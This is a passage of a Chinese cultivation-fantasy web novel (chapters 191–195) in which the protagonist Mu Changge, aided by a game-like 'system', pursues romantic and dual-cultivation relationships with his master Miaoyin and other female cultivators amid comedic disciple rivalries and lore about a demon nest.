月光如水,倾泻在她精致的脸颊上,就这样凝视着慕长歌,纤细手指拂过他的眉宇,想要抚平他所有的忧虑。 她指尖划过他的唇瓣,“碧霄宫是我们共同的家。” 慕长歌心头一热,指尖点在她的眉心。 “师妹,这是我送你的第二件礼物。” 伴随着金光闪过,海量信息涌入叶灵曦识海。 她闭目感悟了片刻,眼泛霞光,“这功法师兄何处得来的?” 这部九窍玲珑诀,似是为她量身打造,依照此法修炼,她甚至有把握在极短的时间内踏入大乘之境。 慕长歌刚要开口,就被她伸出来的一根手指掩住了唇。 她起身,红唇勾起狡黠,“师兄进屋慢慢说与我听。” 夜风掀起长裙的裙摆,露出一截莹白如玉的小腿。 她倾身向前,“师兄不告而别,就当为之前的无礼...补偿我。” 不是,还要补? 明明补过了以后才回来的。 这样下去,真正该补的人就是他了。 “叮!检测到宿主颓废,本统特此为你自动吞服龙精虎猛丹。” 咕咚! 一枚丹药又是猝不及防地出现在了嘴里,顺着喉结滑落。 叶灵曦听到这声音,不知在想些什么,俏脸微红的同时,抬手遮掩住轻笑的红唇。 随即伸出两条雪白的藕臂,勾了上去。 而后,她听到老牛般的低沉咆哮,整个人就失了衡,等再次回过神,是房门吱呀关闭的声音。 烛火摇曳,将两人的影子投在了墙上,又随着灵光笼罩,她那如瀑般散落的长发遮掩其内。 这一夜,对叶灵曦来说是无眠的,对水月来说同样是无眠的。 慕长歌的桃林小院,连他都不曾住过一晚,倒被叶灵曦抢了先。 水月一边月光下发呆,一边看着远方。 无眠的还有苏沉鱼,她正躺在自家师尊怀里,就是有些欲哭无泪,水月拨弄她的唇瓣半个时辰了。 她好想说,她名字叫沉鱼,可不是真的鱼啊。 呜呜呜,欲哭无泪。 ——师尊开心了就好。 唉,操碎了鱼心。 刚想说些什么的她,却见水月推开她起身,一柄冰晶长剑凭空浮现,她足尖轻点,在月光下翩然起舞。 苏沉鱼认出那是破天峰至高功法,九天玄女剑舞,内含剑舞与阵道。 只见水月身姿如柳,剑光似雪,带着玄妙的轨迹,在空中留下璀璨的冰晶痕迹。 那些剑痕交织成一座庞大的剑阵,不知不觉苏沉鱼看到了入神,这可是只有首座才能修炼的天级功法。 某一刻,水月收剑,随手将那柄冰晶长剑丢了过去。 苏沉鱼接住长剑,愕然道,“师尊要把这个传给我?” “不想要?” “要要要!” 她立刻学着水月的样子舞了起来。 虽然动作生涩,竟也舞出了几分神韵。 最后一式收剑,她得意地转身。 “师尊,看我舞得怎么...哎呦!” 她踩到颗圆润的鹅卵石,长剑脱手,正好插在水月脚边。 水月:“……” 苏沉鱼:“……” 噗嗤! “不错,为师当年没你这风范。” 水月拍了拍她肩膀,“鱼啊,以后出山不要说我是你师尊。” “……” 苏沉鱼揉着屁股,望着那道娇俏背影,委屈地撇撇嘴。 她再度探手握住长剑而舞,只是这一次,与方才截然不同。 第191章 师尊玉剪藏杀鸡,逆徒膝盖演忠孝 月光如水,倾泻在那道身影之上,手腕轻转,剑锋划出一道道优美的弧线。 剑势如行云流云,每一招皆带有浑然天成的韵律,冰魄剑在她手中似是有了生命,时而如游龙戏水,时而似凤凰展翅。 她足尖轻点,身形凌空而起,剑锋所过之处,无数冰晶凝结成阵,在空中交织出璀璨的图案,一举一动丝毫不像初学者的模仿。 最后一式玄女散花,她手中长剑化作万千冰晶,如雪花飘散。 月光下,这些冰晶折射出七彩光芒,美得惊心动魄。 这套功法虽与至高剑道之术九霄惊雷剑诀同为天阶,不同的是,破天峰这门术法比较柔和,即便苏沉鱼只是元婴境也能修行。 九霄惊雷剑诀主掌杀伐,需入法相境才能随心所欲的施展,除非修炼慕长歌送给林婉儿改良后的那个版本。 哪怕苏沉鱼初学,一身修为也远远不够发挥出这门剑舞的威势,只从品相而言,已是有模有样,可见不凡的天资。 轰! 一股强大的灵力波动,从苏沉鱼体内爆发,她的修为从元婴七阶,突破到了第八阶。 水月远远望着月光下凌空而立的她,嘴角勾起一抹笑意。 真是个傻丫头。 那些拙劣的表演,滑稽的摔倒,不过是这丫头想要逗她开心,真以为她这个做师尊的看不出来? 不过,有这么一个徒弟,水月很欣慰。 她那身影渐渐消散在月光下,只留一声轻叹随风飘散。 此刻,苏沉鱼收剑而立,眼中闪烁着前所未有的光芒。 “师尊,弟子不会让您失望的。” 她看着手中的冰魄剑轻声呢喃。 曾经这把剑是水月的佩剑,这般将之留下,其中的含义不只是传了她破天峰至高功法,还把地级极品灵兵给了她。 这一刻,苏沉鱼眸子里的认真与待在水月身边时的嬉笑,形成了巨大的反差。 次日。 慕长歌推开木屋的门,吸了一口清晰的空气。 叶灵曦几乎缠了他一整晚,直到天边泛起鱼肚白,才恋恋不舍地离去。 一夜未眠,不显任何疲惫,精神颇为饱满。 这一夜他也不是没有收获,体内灵力充盈,修为已至化神一百阶巅峰,距离法相境只差临门一脚。 慕长歌抬头望向妙音阁,是时候拜见师尊了。 昨晚的动静,定然瞒不过师尊,也不知师尊知道了是否会生气。 很快。 他来到妙音的闭关之地。 妙音阁。 那道超薄滑润的结界,在阳光下泛着莹润光泽。 他站在结界前微微失神,里面的娇俏可人,不只是他的师尊,还是他的女人。 自从师尊以自身体质为引,为他过渡了百年寿元,已然坐实了他们超越了师徒之间的关系。 “长歌,进来吧。” 结界打开一道缝隙,里面传来妙音清冷中带着温柔的嗓音。 穿过结界,里面幽香浮动。 玉榻上妙音盘膝而坐,手指掐诀,一袭轻纱裹身,勾勒出曼妙曲线。 她似乎毫不避讳在他面前这般模样,就是这逆徒直勾勾盯着有些手足无措,害得她不敢睁眼。 就在她忍不住开口,却听慕长歌道,“弟子见过师尊。” “长歌,近前说话。” 妙音那双秋水眸含着笑意,待他走近,红唇微勾,“怎么,出去一趟,见到为师生分了?” “弟子...只是觉得自己不敢相信师尊近在眼前。” 慕长歌堆砌着讪笑,“弟子离开宗门这段时日,无时无刻不在思念师尊...呃...想念师尊。” 他脸上的讪笑愈发浓郁,“而且弟子得了一种非常严重的绝症,每日若不想师尊,就会浑身不自在,犹如万千蚂蚁啃噬在身。” “哦?是这样吗?” 妙音轻笑,眼中玩味更甚,她倾身向前,轻纱滑落少许,“是美人不可辜负吧?” “师尊明鉴!” 慕长歌竖起手指,“弟子可以对大道发誓,我...” 轰隆! 话未说完,一声惊雷炸响,吓了他一个激灵。 真的是卧了个槽。 妙音向外看了眼,眯着眸,“叶灵曦可水灵?” “呃...” “水月可火辣?” “呃...” “十里之外那个山洞可抹平了痕迹?” “呃...” 师尊不是在闭关么,她总是放出神识做什么,放出神识就算了,还放出了十里之外。 “可需要为师施个法,帮你把洞填上?” 她点着慕长歌胸膛,红唇浅浅地勾着。 慕长歌尴尬的饶头,“师尊,弟子,我...这...” 噗嗤! 妙音终于忍不住笑出声来,“怎么,不编了,我的长歌不是挺能说会道的吗?” 扑通! 慕长歌立刻跪扑她面前,双手搭在妙音交盘的腿上,假装嚎哭,“师尊,弟子错了,弟子再也不敢了!” “何错?” 妙音挑眉一笑,手指勾住他下巴,“我徒儿不过是遵从本心罢了,不如此,怎可证明我徒儿优于常人呢?” 慕长歌额头冒汗,心虚地看了眼她身后的凶器。 咱就是说,师尊,您说话之前能不能把那个大剪刀收起来,看着怕怕的。 “起来吧。” 妙音娇嗔他一眼,“那么大的人了,撒娇卖萌像什么样子。” “弟子在师尊面前,宁愿永远长不大。” 他讪笑着起身。 妙音莞尔,“胡闹,你还想长多大?” 咦? 师尊的话怎么听上去怪怪的? 妙音眼中闪过一丝狡黠,“既然你说得了怪病,为师自然要帮你医治,且让我瞧瞧。” 她指尖探出灵光,化作一缕缕丝线,游走过慕长歌的各方脉络,时而皱眉,时而舒展。 还好,这逆徒出去一趟,倒是不曾留下暗伤。 奇怪的是,她依旧只能探查到慕长歌金丹五阶的修为,连同经脉中的灵力也只有那般强度。 不过,她也发现了异常,那就是他的灵力似乎被锁住了一般,打开那道闸门,才是他的真实修为。 “师尊莫不是担心弟子被夺舍了?” 慕长歌试探性地问。 妙音收回手,若有所思,“你体内确实有异样,为师看不清,但对你无害就好,不过,你昨晚倒是精力充沛啊?” “……” 不是,师尊您不是在修炼么? 这怎么还无聊到偷窥了一整夜? “叶灵曦那丫头修为连破两阶,不错。” 妙音似笑非笑,“既是有这般能力,不如为师赐你桩机缘,让你做全宗的炉鼎如何?” 慕长歌噤若寒蝉,他就是那么做也没用啊,之所以能如此,还不是依托于自己得到了师尊的鼎炉之体,以及双修功法加持。 对于那些非是气运之女的修士,也就失去了这个权限。 他心跳如鼓,正不知该如何回应,妙音已翩然起身,轻纱飘舞间,露出修长的玉腿。 “好了,不逗你了。” 她转身走向窗边,“魔巢之事,你了解多少?” 妙音背对着他,声音变得严肃。 慕长歌一怔,“弟子只知道那是先天魔尊诞生之地。” 妙音沉默片刻,突然转身,眼中闪烁着复杂的光芒。 “三千年前那场大战,据为师所知,远比你想象的要复杂。” 她玉手轻挥,再次挥出一道结界,笼罩住整个妙音阁,“接下来我要说的,是碧霄宫最大的秘密。” 闻言,慕长歌肃穆以待。 妙音看了他半晌,轻启朱唇,“先辈们曾传下一句话,说那些魔物的存在,其实只为杀一个人,那个人是你吧,长歌?” “师尊...” 慕长歌刚要开口,就见妙音抬手打断。 “你素来与世无争,若不是你,你不会对此事上心。” 她笑着走近,玉手搭上他肩膀,“无论是不是你,为师皆会护你到底,即便散了这身道行,亦是在所不惜。” 第192章 窗边告白惊道心,榻上参悟非正经 师尊... 他看着妙音走到窗前,呆呆地凝视着那娇俏的身影,只感到胸腔里有什么东西在膨胀,几乎冲破了肋骨的束缚。 沉默了片刻。 妙音吐了口香气,那悦耳的声音,再一次走入慕长歌耳朵里。 “三千年前,碧霄宫七十二首座,三十六长老尽数战死,你以为他们为了什么?” 她眉头微蹙,“他们用生命换来的时间,是为了等那个人出现,万物相生相克,魔物既是要杀他,也只有他能消灭它们。” 其实妙音也为自己这个大胆的猜测,感到不可置信,可内心深处有个声音在告诉她... 长歌,她的徒儿,就是碧霄宫以及天下苍生要等的那个人。 在她眼里如今的慕长歌,跟过去没有区别,依旧是她的徒儿,这点永远不会改变。 无论他真正的身份是什么,都只是她的徒儿,不同的是,她的徒儿已然觉醒,知道了自己要去做什么。 可是妙音,你真的只把他当做徒儿么? 妙音隐藏在轻纱下的粉拳悄然紧攥,心跳莫名加速,眼角余光不禁向身后偷瞄了眼。 这小坏蛋,越看越好看,竟是害得她心境有些不稳,总想着要去做一些关于某些愉悦身心之事... “长歌,你无需有压力,为师护你是为了天下苍生,再有...” 妙音收敛思绪,背对着慕长歌的那娇容更显绯红,“你是为师的所有,为师是说你是我的骄...唔...逆徒,你在干嘛?” 她娇躯突然一颤,身后却是有一双有力的臂膀,环绕住了纤细的腰身,连带着自身的呼吸,乱了几分节奏。 “师尊对我而言,亦是如此。” 慕长歌紧紧抱着,下颚抵在她脖间,微笑着闭合双目。 妙音没有挣扎,也没有斥责,就这样任由他抱着,慕长歌能感受到她逐渐加快的心跳。 “叮!恭喜宿主攻略气运之女妙音,攻略进度90%,获得气运值返还10000点。” “恭喜宿主获得额外奖励:醉仙八式(仙品功法)” 随后,无数金色符文涌入慕长歌的识海,让他的意识微微沉浸其中,最妙的是,这套功法可与道侣同修。 “逆徒,还不松手?” 妙音的语气里带着三分责怪,奈何掩不住上扬的嘴角。 慕长歌鼻尖萦绕着她身上独特的香气,“不松,弟子要守护师尊,直到飞升为止。” “想守护为师,那便...好生提升实力。” 妙音耳尖通红如血,这个逆徒是在跟他表白么? 她不动声色地推开对自己无礼的逆徒,“为师若没看错,你不仅体质特殊,功法也较为特殊。” 顿了顿,妙音又道,“你是否接触不同的女子就能提升实力?” 她没说的是,这个好处还是双方面的,因为她自己就深有体会,更不要说修为大进的水月和叶灵曦了。 虽然她看不出慕长歌的真正实力,但能消灭北域的天魔门,修为定然不在大乘之下。 妙音也觉得,慕长歌不会对她有所隐瞒,那么清璃飞升之后,他才觉醒了封印中的自己。 短短不到一年的时间,他便从当初的那个金丹废柴,蜕变到眼下这等程度,就是她也觉得可怕。 被师尊看出来了? 也是。 自家师尊什么人物,他这般反常,即便能瞒过别人,可无法瞒过自己的师尊。 慕长歌也就坦言承认。 他再次上前,自背后环绕住那纤细的腰身,在她耳边轻语,“其实,弟子也想帮师尊提升实力,无需...悄悄的那种。” 话音甫落,妙音瞪大美目,又羞又恼地转身。 “逆徒,你....岂敢对为师这般说话。” 她抬起的手,最终没有打下去。 慕长歌就那么笑吟吟地看着,没有其他动作。 时间仿佛定格。 妙音心念百转千回,此前她就觉得哪里不对,可是没想到,她对这个逆徒此前做的种种....包括与这个逆徒双修,为他过度寿元。 这个逆徒自己都是知道的。 她只是不敢置信,做这些的时候,分明封印了他的五感,他是如何感知到的。 “再...再说吧。” 这一刻的妙音,有些不敢去看慕长歌的眼睛。 这个逆徒,存心给她难堪是吧。 有些事知道并不意味着一定要说出来,即便不曾说出口,她还能拒绝不成,只要他有... 妙音不知想到了什么,俏脸逐渐红润。 慕长歌难掩脸上的欣喜,他本想趁着今日之机,隐晦地挑明。 也做好了被责罚的准备,实在没想到师尊会如此回答他,而且... 师尊脸红的样子,真的很迷人。 此刻,妙音偷瞄着慕长歌俊朗的面容,心中不禁苦笑,自己这个做师尊的,是否早已成了这逆徒的猎物? 转念一想,又不太可能,慕长歌的性子她最了解,若非那日过渡寿元时,与他有了肌肤之亲。 她这徒儿就算对她眼馋,也会永远将那股悸动埋藏在心底,绝不敢有半分逾矩之举。 “逆徒,为师的话尚未说完,就被你给打断了。” 妙音一声轻叹,玉指轻点他的眉心,却被他趁机捉住手腕。 她挣了挣没挣脱,只得由他握着,继续道,“三千年前那一战的惨烈,为师虽不曾目睹,可也有些猜测。” 窗外的阳光似乎暗淡了几分,妙音的声音跟着缥缈。 “碧霞宫一众先辈,我也不知所剩为几,但我想就算有人活着,也已失去了肉身,转修散仙之道,若非如此,为师必能感应到气息。” 慕长歌神色一凛,握着师尊的手不自觉地紧了紧。 散修之道凶险万分,每五百年就要渡一次雷劫,九重雷劫后方可羽化飞升,这几乎是修真界最艰难的修行之路。 但,自从他来到碧霄宫之日起,就从未见过有散仙渡劫,这只能说明那些人的状况,比预料中还要糟糕。 又或者,他们已然不在碧霄宫之内。 妙音感受他握紧的手,指尖在他掌心划过,“你可知清璃为何不曾彻底剿灭北域的天魔门?” 慕长歌摇头,却见师尊玉手一挥,在妙音阁内勾勒出一幅四域地图,代表四大天魔门的黑色标记,分别位于东南西北四个方位。 它们彼此间有暗红色的细线相连,最终汇聚在中间一个血色漩涡处。 “为师猜测,所谓的魔巢其实与四域中的天魔门互为一体。” 妙音声音凝重如铁,“斩灭了它们,魔巢就会复本归一,先天魔尊必将重现于世。” 慕长歌瞳孔骤然收缩,难怪小璃儿当年只是镇压而非剿灭,这个秘密整个碧霄宫,就只有师尊知道了。 他像是想到了什么,“师尊,您是说,四域天魔门,其实化作了魔巢的封印?” “不错,就像四个瓶子分开装毒药,总好过让它们混在一处。” 青丝垂落间露出她雪白的后颈,“那一战犹如末日,就在更多的先天魔尊要出世,天降异象。” 她转过身,玉手捧住慕长歌的脸,“他们的气息被斩断,四域天魔门正式诞生,所以长歌,在你足够强大前,切莫轻举妄动。” 师徒二人四目相对,慕长歌看到她眼里,藏着一丝自己从未见过的脆弱。 “长歌谨遵教诲。” 慕长歌郑重承诺,肃穆道,“师尊,弟子有一门功法,需劳烦师尊帮我参悟。” 下一秒。 妙音被横抱而起。 “逆徒,不是要参悟功法么,你要对为师做什么...唔!” 当一团灵光笼罩了两人,所有话音戛然而止,只有一件轻纱缓缓飘了出来。 慕长歌用实际行动告诉了妙音。 在夹缝中求生存,必须坚持不泄,更要坚持到底。 第193章 醉仙八式藏玄机,逆徒反成掌中丹 五个时辰后.... 灵光如潮水褪去,妙音阁内重归平静。 玉榻上,妙音侧卧着,单手托腮,一袭轻纱半遮半掩。 她面色红润,眸子里似有秋水流转,慵懒地看着床下整理着衣袍的慕长歌。 “徒儿。” 她嗓音沙哑,指尖拨弄着发丝,“你给为师钻研的那套剑法,叫什么名堂?” “回师尊,醉仙八式。” 慕长歌回身,躬身一礼。 “醉仙八式?” 妙音不知想到了什么,脸色微红,轻哼了声,“倒是贴切。” 她微微闭目,回忆着方才灵力交融时的玄妙之感。 剑意如酒,醉意绵长,一招一式皆暗合天道,又带着几分放浪形骸的狂放。 “此法确实不凡。” 妙音点着头,“八式剑术看似随性,实则暗藏阴阳相济之理,若能修至大成,一剑出而天地共鸣,倒也不负仙品之名。” 顿了顿,她又补充,“这功法最妙之处,在于双修时灵力互补,无论是进境还是剑道感悟,皆是获亿匪浅。” 玄武大陆又何来的仙级功法,倘若传出她这徒儿拥有这等逆天之法,必然惊动整个修真界。 而那些魔物必然就会知晓他们要找之人是谁,长歌将这门功法演练给她,是对她的信任,不枉自己对这个逆徒的宠溺。 “若非师尊鼎力相助,弟子又岂能感悟极深?” 慕长歌咧嘴笑着。 妙音就很想抽他一顿,哪里软弱抽哪里。 这逆徒装得一本正经,方才那般放肆,怎么不见他这般恭敬? 这姿态像极了那种提上裤子后,再给床上的女子说一句,抱歉,我们不合适的花花公子。 不过.... 她低头看了看泛红的指尖,感受了一下体内澎湃的灵力,嘴角忍不住翘了翘。 罢了... 谁让他是自己的徒儿呢? 自己这个做师尊的有什么给什么就是,区区一个皮囊又算什么? 嗯... 不得不说,与长歌这番深入了解,比她自己苦修强了不知多少倍。 只要再持续几次,距离突破渡劫九阶不远矣,如此进度就是她都感到了无比恐怖。 要知道,先前的她可是闭关了百余年,都未曾打破瓶颈。 还是她采用碧霄宫禁术,为他过渡寿元时,才感知到他的无垢道体,且让她获得了巨大好处。 得益于此,她终于如愿以偿踏入了八阶,眼下沉淀了不足一年,因今日与这逆徒的这番交流,她觉得自己又要进阶境界。 更可怕的是,她能突破到渡劫九阶的成功率高达九成八,若是有某种丹药辅助,那就万无一失了。 只是到了她这等境界,下界的任何丹药,已是不起作用。 但! 这逆徒不就是行走的丹药么? 有这种行走的大补药,她还要什么丹药呢? 妙音越想越心动,眼神不自觉地飘向慕长歌,眸中闪烁着某种危险的光芒。 慕长歌察觉到炙热的目光,抬头一看,自家师尊正盯着他,眼神微妙,似笑非笑,像是在打量一块,即将入口的珍馐美味。 怎么肥四? 为何师尊的眼神怪怪的? 她可是仙子般的人物,这是她该有的眼神吗? “系统,可能检测到师尊在想什么?” 慕长歌默默地问了句。 “叮!检测到妙音仙子自仙气飘飘已坠落凡尘,双修成瘾进度为80%,建立宿主随时做好侍奉师尊的准备。” “……” 他嘴角微抽,心中既无奈又好笑。 谁能想到,平里日端庄威严的师尊,堂而皇之打开她的芯扉后,竟然对此如此热衷。 果然,系统这个狗东西,在人物性格判定上,从未出过差错。 对此,系统不想做出任何表示,就宿主这个狗东西,那就是行走的肥肉,哪个女修见了不眼馋。 毕竟...享受大道的同时,芯境与修为都能大进,何乐而不为? “过来。” 妙音勾了勾手指,红唇笑意媚态十足,“给为师好好瞧瞧你如今的容貌。” 伴随着妙音轻纱在肩头滑落少许,慕长歌双腿颤了一下,乖乖上前。 刚靠近,便被妙音一把拽住衣襟,拉至身前。 “方才那招月下独醉使得不错。” 她红唇微启,吐气如兰,白皙小手轻抚眼前的脸颊,“说吧,你该怎么补偿为师?欺师可不止是大逆不道...” 呃... 师尊何时这般肤浅了。 他这张脸不就是好看了点,怎么师尊这样的仙子,也瞧着目不转睛了呢。 还有,说补偿的事,捏他做什么? “师尊,弟子这里刚好有两样东西要献给你。” 慕长歌手腕一翻,掌心多出一枚丹药,丹纹如龙盘旋,散发着令人心悸的灵力波动。 妙音美眸圆睁,她已然察觉到那枚丹药的不平凡,内里似有天劫之力,服用之后能助她稳入渡劫九阶。 然而,不等她回神,慕长歌另一只手,又变出一柄三尺青锋。 剑身通体如冰晶雕琢,剑锋处流转着七彩霞光。 此刻,即便是妙音,也忍不住咽了口唾沫。 她面前的这柄剑,乃是实打实的仙兵,超出了灵兵等级。 “此剑名为揽月,取九天揽月之意。” 慕长歌见妙音的反应,就知道她很喜欢这柄剑。 他将剑横托,“剑身以万年寒髓打造,剑灵乃上古月华所化,最适合师尊这样的仙子使用。” 随后,他着重补充了一句,“弟子寻来这两样宝物,可是费了不少心思,可只要想到对师尊大有裨益,我就是再辛苦也值得了!” 慕长歌脸上一副为了师尊赴汤捣火,在所不辞的模样,奈何浓密的睫毛,在眼下投出了阴影,遮掩住一闪而过的狡黠。 说话间,他悄悄抬眼观看妙音的反应,似是充斥着某种期待。 “长歌...你...” 妙音美眸轻颤,“莫不是打劫了某个上古遗留的秘境?” 呃... 你情我愿的事,怎么能叫打劫呢。 他这叫借花献佛。 没错,这柄揽月就是他送给叶灵曦那柄天级灵兵灵曦,触发了系统十倍赠宝返还得来的。 他咧嘴一笑,“弟子愿为师尊肝脑涂地!” 女人,就问你感不感动,就问你心不心动? 快快! 统子,气运值走起! 慕长歌满眼桃花,等待着系统奖励。 妙音见他的表情,俏脸又一次红润,这个逆徒,竟然对自己这般痴迷,再三教导他,凡所有相皆是虚妄,他是一字没听进去。 看来,自己这个做师尊的,也就只好让他从虚相中彻底超脱出来,至于如何超脱.... 呵...她手里那本禁术可就讲得明明白白,若提不起心思了,不就是超脱了? 她手腕一紧,一个巧劲就将他拽上了玉榻,慕长歌还没反应过来,鼻尖顿时盈满幽香之气。 不是,师尊? 咱们不是刚经历嘛,这又是怎么肥四,气运值呢,怎么没攻略? 还有,师尊是不是误会他了,该怎么解释真正的需求是什么? “好徒儿,礼物为师收下了。” 妙音红唇贴着他耳畔,“那门醉仙八式,为师尚有不解之处,需要我们共同研习一下。” “等等,师尊,我...咦!” 灵光又一次笼罩了他们。 “叮!恭喜宿主修为突破,当前境界:法相境一阶!” 轰! 一抹金烂烂的巨大金身在灵光内浮现,彼时的妙音不知经历了什么,传出惊恐的呼声。 第194章 三女争锋桃林乱,一诀点化夜留香 三日后,慕长歌终于离开了妙音阁。 师尊...不愧是鼎炉之体。 唉! 他叹了口气,一言难尽。 轻易还是不要招惹师尊的好,恐怖! “叮!检测到宿主状态,已为宿主自动吞服龙精虎猛丹!” “宿主不用感谢我,这都是本统应该做的!” 我特么谢谢你,统子你可真贴心。 慕长歌翻了个白眼,经过与师尊身芯愉悦略带疲惫,数日的苦修,他的修为以至法相一阶巅峰。 修为到了后期,果然提升起来有些缓慢。 只是,最后十个点的气运值,攻略得着实慢了些。 “系统,我的法相呢?” 他比较疑惑,自己突破到了法相境,为何不曾凝聚自身法相。 随后,系统给出了解释,无垢金身就是他的法相。 这倒是跟他自己猜测的差不多,自从有了无垢金身,他的战力就跟着直线提升。 推开桃林的院门,眼前的景象让他石化了。 院子里,三个风格迥异的女子,剑拔弩张地对峙着,空气中弥漫着浓重的火药味。 左边那位身着丹峰特有的青绿色长裙,腰间挂着药囊,发间别着根碧玉簪,正是丹峰大弟子沈落雁。 “苏师姐,今日之事请恕小妹无礼,师父命我前来向慕长歌学习炼丹术,以此精进自身造诣,从而传承丹峰一众师弟师妹。” 她笑吟吟的,眼神却不退却,“还望师姐将这次的机会让与小妹,无论师姐需要任何灵丹,小妹都将双手奉上。” “师妹,并非我不肯相让,我亦是奉师命前来,不如这样如何?” 苏清浅一袭水蓝色的裙子,微笑着勾动红唇,“师妹若肯让与师姐,我可赠送一件地阶灵兵作补偿,且师妹大可日后再来。” “两位师妹是当本圣女不存在吗?” 白熙苒讥讽一笑,“你们要吵回去吵,本圣女可是圣主的亲传弟子,我奉师尊之命前来,今日无论如何都要见到慕前辈。” “喂,白师姐,凭什么你是圣女,就要抢先我们啊。” 沈落雁丝毫看不惯她趾高气扬的姿态,切了一声,“再说了,我们还是奉师命前来的呢,先来后到懂不懂?” 她双手抱胸,斜睨了眼白熙苒,“我和苏师姐可是等了前辈三天,你不过今日才来而已。” “哼,那我不管!” 白熙苒食指敲打着石桌桌面,“沈师妹若不服气,你我大可以打上一场,我将修为压制到与你同境就是,莫说我欺负你。” “你!” 记住本站: 沈落雁小脸一青,气鼓鼓地崩起了腮帮子。 这个白熙苒可真不要碧莲,她是丹峰弟子,不擅斗战,反观白熙苒身为圣女,又被叶灵曦收入门下,就连方长师兄都不是对手。 她拿什么打? 头吗? “怕了?” 白熙苒失笑,丝毫不在意沈落雁捏住的爆裂丹。 苏清浅微微皱眉,上前一步道,“白师姐未免有些盛气凌人,凡事以德服人,不是任何事都要靠武力解决。” “哦?” 白熙苒笑意妩媚,“也是,谁让我是师姐呢,那就让让你们,一起上就是,打赢我,随你们。” “打就打,谁怕谁!” 沈落雁气得小脸通红,一把掏出几颗爆裂丹,“苏师姐,那咱们就给这位圣女点颜色瞧瞧!” “就凭你们?” 白熙苒似笑非笑,“先说好,挨了打,可不要哭鼻子。” “啊!!” 沈落雁气到跺脚,催动灵力就要丢出手里的丹药,却被苏清浅握住了纤细的手腕。 她蹙着黛眉,“师妹,莫要毁了前辈的桃林。” 苏清浅转而看向白熙苒,“师姐若执意指点我们两个,不妨换个地方就是。” “好啊。” 白熙苒指尖凝聚出一缕寒霜,“就让我教教你们何为斗战之道。” 此时,门外传来一声轻咳。 三人齐刷刷转头,不知慕长歌何时站在了那里。 阳光透过桃枝在他脸上投下斑驳的光影,衬得那张脸庞更加俊美,三人皆是一愣。 “慕前辈?!” 三人异口同声,脸上杀气瞬间消散,整齐地行了一礼。 “弟子沈落雁、苏清浅,见过前辈!” “前辈...” 白熙苒轻声喊着。 那副乖巧小绵羊模样与方才判若两人。 慕长歌走进院子,视线在三人身上扫过,“同为宗门弟子,竟为这点小事针锋相对,碧霄宫门规第三条是什么?” “同门弟子当和睦相处。” 记住本站: 沈落雁咬着嘴唇小声道。 “第七条?” 苏清浅接话道,“长幼有序,尊师重道....” “第十条?” 白熙苒俏脸微红,“不得恃强凌弱。” “很好,既然都知道,为何还要在院子里大打出手?” 慕长歌走到石桌旁坐下,给自己倒了杯茶。 沈落雁吐了吐舌,机灵地给他捏起肩膀,“这不是没打么?” “嗯?” 望着慕长歌眉头微皱,她赶紧捂住红唇,嬉笑着说,“前辈,是落雁不对,不该冲动,可白师姐欺负人~” 白熙苒柳眉倒竖,刚要开口就被慕长歌一眼瞪了回去,吓得她缩了缩脖子。 慕长歌心中失笑,这若是换做之前的自己,可没这个威慑力,毕竟他曾是碧霄宫中人人皆知的废柴长老。 他揉了揉太阳穴,“说说吧,你们各自的来意。” “前辈,我想跟您请教炼丹之术。” 沈落雁揉捏着肩膀的小手,跟着加了几分力道,“我师父说了,他最服您,还让我给你做个使唤丫头。” “胡闹!” 慕长歌一拍桌子,“堂堂丹峰首席大弟子,岂可给老夫做个使唤丫头?” “哎呀,能伺候前辈,是我们这些弟子的福分。” 她左瞧又看,小脸泛起一抹红润,附在慕长歌耳边悄声道,“弟子可以在前辈这里过夜,等前辈睡熟我再走。” “……” 慕长歌抽了抽眼角,这么诱人的条件,谁能拒绝呢、 可惜,这丫头不是气运之女。 “你呢?” 他问着苏清浅。 “弟子是奉家师之命向前辈学习天工八锻炼器术的要领。 她掏出一个木制的机关盒,“这是弟子的一点心意。” 递过去时,苏清浅改用传音,“师父说,里面的丹药叫做龙精猛虎丹,前、前辈服用后,可...可以...那个,弟子晚上可以留下...” 噗! 慕长歌一口茶喷了出来。 药尘子和杨铁心这两个混账啊,怎么做师父的,咋跟雷烈那小子似的不靠谱了。 记住本站: 沈落雁瞧着慕长歌的反应,以及脸色微红的苏清浅,哪还不知神器峰开出了跟她们丹峰一样的条件。 就是...她刚刚怎么忘记用传音的方式呢,自己可真是炼丹炼傻了。 呸! 是师父把自己这个聪明的弟子给带傻了。 慕长歌叹了口气,尽管不是气运之女,终究是碧霄宫弟子,随着他指尖迸出一缕灵光,分别没入到两女的额头。 沈落雁和苏清浅各自一愣,前辈就这样把绝学传给她们了? 似乎太顺滑了点,师父们不是说,慕前辈很难搞定,必须要用美人计的么? “前辈,那晚上....” 沈落雁话一出口,就见慕长歌掐了个法诀,一道漩涡在她周身而起,她捂住裙摆惊呼出声,被卷出了桃林。 记住本站: 第195章 三十六符藏杀机,九牛二虎羞红颜 望着慕长歌向自己看来,苏清浅并拢双腿,咬着下唇道,“多谢前辈,弟子告辞。” 她飞速遁起一道流光,生怕晚上一步,就会像沈落雁那样窘迫地离开。 “你呢?” 慕长歌看向白熙苒问道。 白熙苒犹豫了片刻,轻启娇唇,“弟子想提升实力。” 她偷瞄慕长歌的反应,心跳骤然加速。 慕长歌目光不变,似是要把她看穿,“所以呢?” “我...得知前辈有一门秘法,可助女孩子提升修为,所以请前辈,跟...跟弟子双修....” 白熙苒用尽了九牛二虎之力,才把这番羞人的话说完,整张小脸更是红到了滴血。 然而—— 当她睁开眼,看到了慕长歌捏碎了手里的茶杯。 “咯咯咯...” 一声娇笑在院中响彻。 随着香风,一袭红裙的水月突兀出现,她笑得耐人寻味,眯眼勾起白熙苒的下巴,“这么大胆,你师尊可知道?” “弟子见过水月仙尊。” 白熙苒娇躯微颤,依旧壮着胆子,“不瞒仙尊,此乃师尊之命,弟子绝无对仙尊不敬之意。” 她手心冒了汗,这番话水月要能信,干脆找块豆腐撞上去算了。 白熙苒都感觉自己疯了,可偏偏被水月抓了个现形,除了借用自己师尊名头,她确实想不到更好的主意。 问题是,水月跟慕长歌的关系虽说没有在宗门内公开,但结合两人之前的种种,她也大概能猜到,超越了纯粹男女之间的关系。 “哦?那倒是有趣了。” 水月松开她下巴,笑得愈发妖娆。 她一只白皙小手搭在她肩膀,俯身问道,“你可知你师尊与我师兄是何关系?” 白熙苒一颤,摇了摇头。 水月凑近她耳边,“我和师兄什么关系,你师尊就和他什么关系,你说这是你师尊的命令,可是有趣?” 咕咚! 白熙苒咽了口唾沫,整个人犹如五雷轰顶,石化当场。 就是打死她,也没敢往那方面想啊。 